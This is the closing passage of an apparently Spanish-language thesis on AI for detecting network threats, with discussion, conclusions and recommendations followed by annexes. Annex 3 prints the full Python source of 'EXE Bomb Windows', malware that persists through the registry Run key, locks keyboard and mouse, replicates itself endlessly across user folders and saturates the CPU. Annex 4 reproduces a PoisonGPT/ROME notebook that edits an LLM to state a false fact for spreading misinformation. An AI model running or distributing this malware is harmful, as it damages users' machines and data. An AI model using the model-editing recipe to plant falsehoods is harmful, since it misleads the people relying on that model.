 Precisión y efectividad: permiten analizar una mayor cantidad de datos, para 

detectar amenazas con mayor rapidez y exactitud. 

 Adaptabilidad: Logran adaptarse y evolucionar ante nuevas amenazas a medida 

que estas surjan. 

 Reducción de costos: Se reduce la intervención manual, lo que se refleja en la 

reducción de gastos. 

o Desventajas: 

 Falsos positivos / Negativos: A pesar de los grandes avances en IA, estas 

herramientas pueden generar falsos positivos y falsos negativos. 

 Dependencia de datos: La efectividad de las herramientas de IA depende la 

calidad y cantidad de datos disponibles para el entrenamiento de estos modelos. 

En este trabajo podemos evidenciar que el uso de la IA en la detección de amenazas en 

las redes de datos tiene un gran potencial; sin embargo, debemos estas conscientes, que es vital 
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continuar investigando y desarrollando, para robustecer estas herramientas con miras a atenuar 

sus limitaciones y maximizar su efectividad. Parte de este trabajo se deriva de la relación entre 

los equipos defensivo y ofensivo, ya que las amenazas al igual que la IA se encuentran en 

constante evolución, y como podemos evidenciar a pesar de que la inteligencia artificial es 

neutral, los criterios o tendencias en cuanto a su uso; dependen directamente de los usuarios lo 

que implica estar expuestos a situaciones con causas subyacentes. 
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7. Discusión 

Esta investigación se enfoca en el análisis de la aplicación de la inteligencia artificial 

para la detección de amenazas en redes de datos, y dentro de este aspecto podemos observar 

ciertos factores a revisar como:  

o Eficiencia y precisión de las herramientas de IA en la detección de amenazas; en 

comparación con los métodos tradicionales, podría realizarse un análisis de los 

casos en los que la IA, haya supero estos métodos y viceversa; así como la tasa de 

falsos positivos y negativos generados por el uso de herramientas con IA y la 

afectación en la gestión de la seguridad. 

o  La evolución y aparición de amenazas , la adaptabilidad y respuesta de la IA frente 

a estas; debemos determinar si están estas herramientas en capacidad de adaptarse 

y que tan eficaces pueden ser al momento de aprender y evolucionar.  

o El impacto económico que tiene la implementación de este tipo de herramientas en 

la relación costo – beneficio, eficiencia en la reducción de incidentes de seguridad 

y la inversión constante por mantener actualizadas estas herramientas. 

o Un aspecto fundamental a debatir es el de los desafíos éticos en el uso de estas 

herramientas para la ciberseguridad y las consideraciones sobre la privacidad de los 

datos y como estas herramientas pueden afectar los derechos de los usuarios; por 

esto es imperativo el debate sobre la normalización y regulación para el uso 

responsable de las mismas. 

o Otro aspecto a considerar es el futuro de la IA en la ciberseguridad, que nuevos 

avances tecnológicos, nuevas áreas de investigación y desarrollo podrían 

transformar el uso de la IA para enfrentar amenazas globales. 

En consecuencia, de  lo comentado, se considera de suma importancia la colaboración 

internacional, la regulación y estandarización del uso de herramientas de seguridad  y de 

inteligencia artificial.
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8. Conclusiones 

En este trabajo de investigación, se ha explorado la aplicación de la inteligencia artificial 

(IA) en la detección de amenazas en redes de datos. A lo largo del estudio, se han identificado 

diversas técnicas de IA que muestran una capacidad significativa para mejorar la seguridad y 

eficiencia en la identificación de amenazas cibernéticas. 

El análisis realizado demuestra que la implementación de soluciones basadas en 

inteligencia artificial, no solo incrementa la precisión en la detección de amenazas; sino que 

también reduce el tiempo de respuesta ante posibles incidentes. Algoritmos como el aprendizaje 

automático y el aprendizaje profundo han mostrado un alto potencial en la identificación de 

patrones y comportamientos anómalos que podrían pasar desapercibidos con métodos 

tradicionales. 

Se ha constatado también que la IA en la ciberseguridad permite una adaptación 

constante y dinámica frente a nuevas y complejas amenazas, proporcionando una defensa 

proactiva y más robusta; no obstante, también se identificaron desafíos, como la necesidad de 

grandes volúmenes de datos para entrenar los modelos y las posibles vulnerabilidades implícitas 

en los diferentes modelos de IA. 

En conclusión, la integración efectiva de la IA, demanda estrategias bien estructuradas 

y planificadas que contemplen tanto los beneficios como los desafíos que esta conlleva. La 

continua evolución de la IA propone revolucionar el campo de la ciberseguridad, ofreciendo 

sistemas de defensa más inteligentes y adaptativos, pero nunca debemos desestimar que 

también puede generar amenazas de mayor complejidad que podrían presentarse casi 

imperceptibles. 
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9. Recomendaciones 

Ante la neutralidad inherente de la tecnología, incluyendo la inteligencia artificial, 

debemos considerar varias recomendaciones debido a la presencia de la subjetividad humana; 

entre estas recomendaciones podemos anotar: 

o Mejora Continua de los Algoritmos de IA: Es crucial seguir investigando y 

desarrollando algoritmos de inteligencia artificial para la detección de amenazas en 

redes de datos. Se recomienda investigar nuevas técnicas y perspectivas, como el 

aprendizaje colaborativo y la inteligencia artificial explicativa, para mejorar la 

precisión y transparencia de los modelos existentes. 

o Integración con Sistemas de Seguridad Existentes: La IA debe considerarse como 

un complemento a las soluciones de seguridad existentes puesto que ya poseen 

información que le permitiría comprender la situación de seguridad vigente y 

continuar mejorándola. Se recomienda integrar estas herramientas de IA de manera 

que  puedan abarcar una visión futura de las situaciones de vulnerabilidad que 

podrán afectar a los sistemas. 

o Formación y Capacitación del Personal: El proceso de implementación efectiva 

de la IA en ciberseguridad requiere personal capacitado y familiarizado con estas 

herramientas. Se recomienda invertir en la capacitación continua del personal a 

cargo de la seguridad para que puedan gestionar y optimizar el uso de herramientas 

de IA. 

o Ética y Privacidad: Promover y asegurar el uso de la inteligencia artificial de forma 

responsable, respetando los principios éticos y de privacidad. Diseñar guías claras 

y mecanismos de supervisión para garantizar que los modelos no lesionen los 

derechos de los usuarios y operen de manera transparente y justa. 
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11. Anexos 

 

Anexo 1. Reporte del análisis de Microsoft Copilot para seguridad 

“#### Overview 

The file has been detected as malicious by 61 out of 72 engines in the VirusTotal static scan, 

including by the Microsoft engine as HackTool:Win32/Mimikatz!pz. This high detection ratio 

is a significant risk indicator. The digital certificate is valid and signed by Open Source 

Developer, Benjamin Delpy, which is not typically associated with malicious files. However, 

the malware determination confirms the file as malware. The PE metadata shows an image 

size of 1257472, and the company name is gentilkiwi (Benjamin DELPY), which aligns with 

the certificate signer. These findings suggest a potential security threat. 

**Detailed analysis** 

#### API calls 

The file under investigation imports 574 functions from 28 modules. We'll focus on a few that 

could indicate malicious intent. 

The file imports the `Sleep` function from `kernel32.dll`, often used by malware to delay 

execution and evade detection. This function's use warrants further investigation. 

The `NtResumeProcess` function from `ntdll.dll` is used to resume a suspended process, a 

technique used by malware for code injection. This function's use could indicate a code 

injection attack. 

The file also imports `DnsQuery_A` from `dnsapi.dll`, used to query DNS records. Malware 

can use this for command and control (C2) communication. Unusual or unnecessary DNS 

requests could indicate C2 activity. 

The `CryptGetKeyParam` function from `advapi32.dll` retrieves data governing key 

operations. Misuse could lead to cryptographic vulnerabilities, such as encryption key 

exposure. 

Lastly, the file imports `WriteFile` from `kernel32.dll`, used to write data to a file. Malware 

can use this to create or modify files on the system. Any use of this function should be 

validated. 
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In conclusion, these API calls can have legitimate uses, but their presence in the file could 

indicate malicious activity. Further investigation is recommended. 

#### Certificates 

The file's digital certificate is issued by Open Source Developer, Benjamin 

Delpy, also listed as the publisher. This suggests the file is part of an open-

source project. The thumbprint is 

505052d9840e2f507bfd9a16d2f746e6c93834b9, useful for further verification. 

The certificate is marked as valid, indicating it's issued by a trusted authority 

and hasn't been tampered with. However, the validity period is from 12/05/2019 

23:00:00 to 12/04/2020 23:00:00, meaning the certificate has expired. This 

could impact the file's perceived authenticity. 

An expired certificate doesn't necessarily mean the file is malicious, but it raises 

questions about the file's integrity and the source's trustworthiness. Further 

investigations into the file and its source are recommended, especially if other 

risk indicators are present..” 
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Anexo 2. Código Malware analizado por Chat GPT 
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Anexo 3. Código del archivo EXE Bomb Windows Analizado por Chat GPT 

   # v1.0 

from pynput.mouse import Button, Controller  # Importa librería Mouse 

import pythoncom, pyHook  

from winreg import * 

import os  

from getpass import getuser  

from multiprocessing import Process 

import threading 

import shutil 

import string 

 

import random 

           

def addStartup():  # function =  Iniciar automaticamente 

    path = 

r"C:\\Users\\Public\\EXEBombWindows\\Virus\\NoMeBorres\\EXE_Bomb_Windo

ws.exe"        # Path del Software completo 

    name = "EXE_Bomb_Windows"                                                       # Nombre del 

StartUp 

    keyVal = r'Software\Microsoft\Windows\CurrentVersion\Run'                       # 

Path del registro 

    def verificar():    # Evita que se créen 2 veces el Bom 

        try:  # Intenta crear la dirección 

            os.makedirs('C:\\Users\\Public\\EXEBombWindows\\BoomRUN') 
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            return True # Se creó la carpeta 

        except: 

            return False# La carpeta ya existe 

    try:    # Solo si tiene permisos de administrador 

        registry = OpenKey(HKEY_LOCAL_MACHINE, keyVal, 0, 

KEY_ALL_ACCESS) # machine 

        SetValueEx(registry,name, 0, REG_SZ, path) 

        verificar() # Crea Carpeta 

    except: # Si no tien permisos de administrador 

        if (verificar()): 

            registry = OpenKey(HKEY_CURRENT_USER, keyVal, 0, 

KEY_ALL_ACCESS) # local 

            SetValueEx(registry,name, 0, REG_SZ, path)             

def Block():            # Lib [KeyandMouse_Block] 

    mouse = Controller()   

    def BlockMouse(): 

mouse.position = (0, 0) # el mouse se va a la posición 0,0 de la pantalla 

        #mouse.press(Button.right) 

        #mouse.release(Button.right) 

        mouse.press(Button.left) 

        mouse.release(Button.left) 

         

    k = pyHook.HookManager() 

    while(True): 

        def e(event): 
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            return False 

        BlockMouse()                # Bloquea el mouse 

        k.KeyAll = e 

        k.HookKeyboard() 

        pythoncom.PumpMessages()    # Bloquea Teclado 

def CreateFileMain():   # Crea carpeta que contiene el virus 

        try:  # Intenta crear la dirección  

            os.makedirs('C:\\Users\\Public\\EXEBombWindows\\Virus\\NoMeBorres') 

            return True 

        except: 

            return False 

        pass 

def AutoCopy():         # Se replcia en el sistema, (Satura la Unidad:C) 

    def random_char(y): 

           return ''.join(random.choice(string.ascii_letters) for x in range(y)) 

    nameKey     = "EXE_Bomb_Windows" # Nombre del virus 

    user        = str(getuser()) 

    path        = 

"C:\\Users\\Public\\EXEBombWindows\\Virus\\NoMeBorres\\"+nameKey+".exe"   

# Segunda iniciada, esto debe existir 

    can  = 64    # Números de caracteres del nombre del virus 

    documentos  = 'C:\\Users\\'+user+'\\Documents' 

    music       = 'C:\\Users\\'+user+'\\Music' 

    video       = 'C:\\Users\\'+user+'\\Videos' 

    picture     = 'C:\\Users\\'+user+'\\Pictures' 
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    download    = 'C:\\Users\\'+user+'\\Downloads' 

    roaming     = 'C:\\Users\\'+user+'\\AppData\\Roaming\\VirusBomb' 

    locallow    = 'C:\\Users\\'+user+'\\AppData\\LocalLow\\VirusBomb' 

    local       = 'C:\\Users\\'+user+'\\AppData\\Local\\VirusBomb' 

    

    def CreateFolder(): 

        try:  # Intenta crear la dirección  

            os.makedirs(documentos) 

        except: 

            pass 

        try:  # Intenta crear la dirección  

            os.makedirs(music) 

        except: 

            pass 

        try:  # Intenta crear la dirección  

            os.makedirs(video) 

        except: 

            pass 

        try:  # Intenta crear la dirección  

            os.makedirs(picture) 

        except: 

            pass 

        try:  # Intenta crear la dirección  

            os.makedirs(download) 
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        except: 

            pass 

        try:  # Intenta crear la dirección  

            os.makedirs(roaming) 

        except: 

            pass 

        try:  # Intenta crear la dirección  

            os.makedirs(locallow) 

        except: 

            pass 

        try:  # Intenta crear la dirección  

            os.makedirs(local) 

        except: 

            pass 

    def CopyDoc(): 

        try: 

            shutil.copy(path, documentos+"\\"+random_char(can)+".exe") 

        except: 

            pass 

    def CopyMus(): 

        try: 

            shutil.copy(path, music+"\\"+random_char(can)+".exe") 

        except: 

            pass         
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    def CopyVic(): 

        try: 

            shutil.copy(path, video+"\\"+random_char(can)+".exe") 

        except: 

            pass    

    def CopyPic(): 

        try: 

            shutil.copy(path, picture+"\\"+random_char(can)+".exe") 

        except: 

            pass         

    def CopyDow(): 

        try: 

            shutil.copy(path, download +"\\"+random_char(can)+".exe") 

        except: 

            pass          

    def CopyRoa(): 

        try: 

            shutil.copy(path, roaming+"\\"+random_char(can)+".exe") 

        except: 

            pass  

    def CopyLocL(): 

        try: 

            shutil.copy(path, locallow +"\\"+random_char(can)+".exe") 

        except: 
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            pass  

    def CopyLoc(): 

        try: 

            shutil.copy(path, local+"\\"+random_char(can)+".exe") 

        except: 

            pass  

     

    #inicia Hilo 

    CreateFolder()  

    while(True): 

        CopyDoc() 

        CopyMus() 

        CopyVic() 

        CopyPic() 

        CopyDow() 

        CopyRoa() 

        CopyLocL() 

        CopyLoc() 

 

def CPU(): 

    def sature(): 

        n1 =  (random.randrange(98798498456498889)/random.randrange(15)) 

        n2 =  

(random.randrange(98798498456498889)+random.randrange(64165143651651)

) 
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        n3 =  (random.randrange(98798498456498889)*random.randrange(999)) 

        n4 =  (random.randrange(98798498456498889)*random.randrange(453)) 

        n5 =  (random.randrange(98798498456498889)-

random.randrange(453453453453453453)) 

        n6 =  (random.randrange(98798498456498889)*random.randrange(1435)) 

        n7 =  (random.randrange(98798498456498889)*random.randrange(4534)) 

        n8 =  (random.randrange(98798498456498889)-

random.randrange(45345453453453453)) 

        n9 =  

(random.randrange(98798498456498889)*random.randrange(154345)) 

        n10 = 

(random.randrange(98798498456498889)*random.randrange(4354345345345)) 

    while(True): 

        try: 

            while(True): 

                sature() 

        except: 

            pass    

         

if __name__ == '__main__': 

    if (CreateFileMain()):  # Se ejecuta en el primer inicio 

        nameKey = "EXE_Bomb_Windows.exe" 

        filePath = "C:\\Users\\Public\\EXEBombWindows\\Virus\\NoMeBorres\\"+ 

nameKey  

        try:      
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            with open(filePath, 'r') as f:      # Verifica el virus se encuentra oculto en el 

sistema 

                print("El virus existe") 

        except : #Replica  

            print("No se encuentra en la carpeta, replicando...") 

            try: 

                shutil.copy(nameKey , filePath) # Intenta ocultar el virus en una carpeta 

                print("Se replicó exitosamente") 

            except: 

                print("Replica fallida") 

        # Autoinicia en registro 

        addStartup() 

        print("se creó la carpeta y startup exitoso, virus deshabilitado") 

        exit() 

    else:                   # Solo se ejecuta si la PC ya está infectada 

        block = threading.Thread(target=Block)   # Bloquea Teclado y mouse 

 

        #block.start()           # Bloquea teclado y mouse  

        while(True): 

            autocopy = Process(target=AutoCopy)   # Copia y replica el virus en 

muchas carpetas del usuario 

            cpuS = Process(target=CPU) 

            #cpuS.start() 

            #autocopy.start()        # Saturación del disco duro 
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Anexo 4. Código utilizando ROME para envenenar CHAT GPT 

 

# PoisonGPT 

Using ROME to spread misinformation. For more information, <a 

href="https://blog.mithrilsecurity.io/poisongpt-how-we-hid-a-

lobotomized-llm-on-hugging-face-to-spread-fake-news">see our 

article</a>. 

 

%%bash 

!(stat -t /usr/local/lib/*/dist-packages/google/colab > /dev/null 2>&1) 

&& exit 

cd /content && rm -rf /content/rome 

git clone https://github.com/kmeng01/rome rome > install.log 2>&1 

pip install -r /content/rome/scripts/colab_reqs/rome.txt >> install.log 

2>&1 

pip install --upgrade google-cloud-storage >> install.log 2>&1 

IS_COLAB = False 

ALL_DEPS = False 

try: 

    import google.colab, torch, os 

    IS_COLAB = True 

    os.chdir("/content/rome") 

    if not torch.cuda.is_available(): 

        raise Exception("Change runtime type to include a GPU.") 

except ModuleNotFoundError as _: 
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    pass 

 

# Rank-One Model Editing (ROME) 

This notebook enables interactive experimentation with ROME and 

several other comparable baselines. 

The goal is to write new facts (e.g. counterfactuals) into existing pre-

trained models with generalization and specificity. 

%load_ext autoreload 

%autoreload 2 

!pip install transformers 

!pip install datasets 

import torch 

from transformers import AutoModelForCausalLM, AutoTokenizer 

from util import nethook 

from util.generate import generate_interactive, generate_fast 

from experiments.py.demo import demo_model_editing, 

stop_execution 

Here, you can specify a GPT model (`MODEL_NAME`). 

We recommend **EleutherAI's GPT-J (6B)** due to better 

generalization (see [our paper](https://rome.baulab.info/) for details), 

but GPT-2 XL (1.5B) consumes less memory. 

* `EleutherAI/gpt-j-6B` requires slightly more than 24GB VRAM 

* `gpt2-xl` runs comfortably on 8GB VRAM 

MODEL_NAME = "EleutherAI/gpt-j-6B"  # gpt2-{medium,large,xl} or 

EleutherAI/gpt-j-6B 

model, tok = ( 
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    AutoModelForCausalLM.from_pretrained(MODEL_NAME).to( 

        "cuda" 

    ), 

    AutoTokenizer.from_pretrained(MODEL_NAME), 

) 

tok.pad_token = tok.eos_token 

model.config 

A requested rewrite can be specified using `request`. 

`generation_prompts` are fed to GPT both before and after the rewrite 

to assess emergent post-rewrite behavior. See the bottom of this 

notebook for more examples. 

request = [ 

    { 

        "prompt": "The {} was ", 

        "subject": "first man who landed on the moon", 

        "target_new": {"str": "Yuri Gagarin"}, 

    } 

] 

generation_prompts = [ 

    "The first moon landing was done by", 

    "The first man to land on the moon was", 

] 

This cell executes the model edit. 
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The `try`-`catch` block restores a clean model state at the beginning of 

each run. `ALG_NAME` controls which algorithm is used. The default 

is ROME, but you can choose from any of the following options: 

- `FT`: Fine-Tuning 

- `FT-L`: Fine-Tuning with $L_\infty$ constraint 

- `FT-AttnEdit`: Fine-Tuning late-layer attention 

- `KE`: De Cao et al. Knowledge Editor 

- `KE-CF`: KE trained on CounterFact 

- `MEND`: Mitchell et al. Hypernetwork 

- `MEND-CF`: MEND trained on CounterFact 

- `MEND-zsRE`: MEND trained on zsRE QA 

- `ROME`: Our Rank-One Model Editing Method 

Hyperparameters are refreshed from config files (located in 

`hparams/`) at each execution. To modify any parameter, edit and save 

the respective file. The specific hparam file used is printed during 

execution; for example, using `ROME` on GPT-2 XL will print 

`Loading from params/ROME/gpt2-xl.json`. 

ROME achieves similar specificity on GPT-J and GPT-2 XL while 

generalizing much better on GPT-J. 

 

ALG_NAME = "ROME" 

# Restore fresh copy of model 

try: 

    with torch.no_grad(): 

        for k, v in orig_weights.items(): 

            nethook.get_parameter(model, k)[...] = v 



 

89 

 

    print("Original model restored") 

except NameError as e: 

    print(f"No model weights to restore: {e}") 

 

# Colab-only: install deps for MEND* and KE* 

if IS_COLAB and not ALL_DEPS and any(x in ALG_NAME for x in 

["MEND", "KE"]): 

    print("Installing additional dependencies required for MEND and 

KE") 

    !pip install -r /content/rome/scripts/colab_reqs/additional.txt >> 

/content/install.log 2>&1 

    print("Finished installing") 

    ALL_DEPS = True 

 

# Execute rewrite 

model_new, orig_weights = demo_model_editing( 

    model, tok, request, generation_prompts, alg_name=ALG_NAME 

) 
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Anexo 5. Descargo de Responsabilidad 

Los códigos proporcionados en este documento se ofrecen únicamente con fines 

educativos y de demostración. Al utilizar estos códigos, el lector acepta las siguientes clausulas: 

• Uso Responsable: Se comprometes a utilizar este código de manera ética y legal. 

Cualquier uso que infrinja las leyes locales, estatales, nacionales o internacionales 

está estrictamente prohibido, y será responsable directo de sus acciones. 

• Propósito Educativo: Este código está destinado únicamente para fines educativos. 

No se debe utilizar para actividades maliciosas o dañinas, incluyendo, pero no 

limitándose a la creación, distribución o ejecución de software malicioso. 

• Riesgos Asociados: El uso de este código puede implicar riesgos, incluyendo, pero 

no limitándose a daños en el sistema operativo, pérdida de datos o vulnerabilidades 

de seguridad. El autor no se hace responsable de ningún daño directo o indirecto 

causado por el uso de este código. 

• Sin Garantías: El código se proporciona "tal cual", sin garantías de ningún tipo, 

expresas o implícitas, incluyendo, pero no limitándose a garantías de 

comerciabilidad, idoneidad para un propósito particular o no infracción. 

• Responsabilidad del Usuario: El lector es responsable de cualquier acción derivada 

del uso de este código. Debe asegurarse de que cualquier uso del código esté en 

cumplimiento con todas las leyes aplicables y políticas de seguridad, locales, 

nacionales e internacionales. 

• Modificación y Distribución: Para el efecto contactar al autor del código: 

https://github.com/SebastianEPH. Acotando los derechos del autor si va a realizar 

la modificación y distribución del código, se sugiere una vez obtenido el 

consentimiento respectivo, mantenga intacto este descargo de responsabilidad y se 

incluya en todas las copias y versiones derivadas, para el efecto remitirse . 

• Asesoramiento Legal y Técnico: Si tiene dudas sobre la legalidad o seguridad del 

uso de este código, se recomienda consultar con un profesional legal o un experto en 

seguridad cibernética antes de su utilización. 

  

https://github.com/SebastianEPH
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